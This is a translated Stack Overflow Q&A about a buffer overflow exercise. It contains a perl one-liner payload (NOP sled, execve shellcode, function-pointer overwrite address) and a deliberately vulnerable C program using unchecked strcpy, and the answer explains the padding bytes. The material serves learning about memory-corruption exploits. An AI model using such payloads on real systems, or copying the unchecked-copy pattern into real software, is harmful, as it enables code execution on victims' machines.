首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >堆溢出-堆的结构

堆溢出-堆的结构
EN

Stack Overflow用户
提问于 2015-12-14 19:14:52
回答 1查看 170关注 0票数 0

在尝试执行基本堆攻击时,除了输入字符串的大小之外,我理解一切。使用perl -e 'print "\x90" x (760) . "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" . "\x00\x98\x04\x08"'作为程序的参数,可以利用以下代码。正在使用的外壳代码有21个字节长。这里的总字符串的大小是785字节,这是缓冲区的777字节+我不知道的东西的4个,以及我们正在重写的函数指针的4个。

我阅读这里时发现,这4个字节是:

指针跟踪堆的顶部,类似于堆栈的堆栈指针。

我的假设正确吗?

代码语言:javascript
复制
#include <stdio.h>
#include <unistd.h>

void greetUser(char *s) {
    printf("Hello %s!\n", s);
}

struct data_t {
    char buf[777];
    void (*fp)(char *);
} somedata;

int main(int argc, char **argv) {
    somedata.fp = &greetUser;

    if(argc < 2) {
    printf("Usage: %s YourName\n", argv[0]);
    exit(1);
    }

    strcpy(somedata.buf, argv[1]);
    (somedata.fp)(somedata.buf);

    return 0;
}
EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2015-12-14 19:23:41

不,这不对。您只需溢出784字节:

代码语言:javascript
复制
 char buf[777];     // 777 bytes
 <padding>          // usually 7 bytes to have fp 8-byte-aligned
void (*fp)(char *); // 8 bytes function pointer

在64位系统上。在32位系统中,fp应该是4字节对齐(因此fp在结构开始后启动780字节)。

票数 2
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/34274840

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档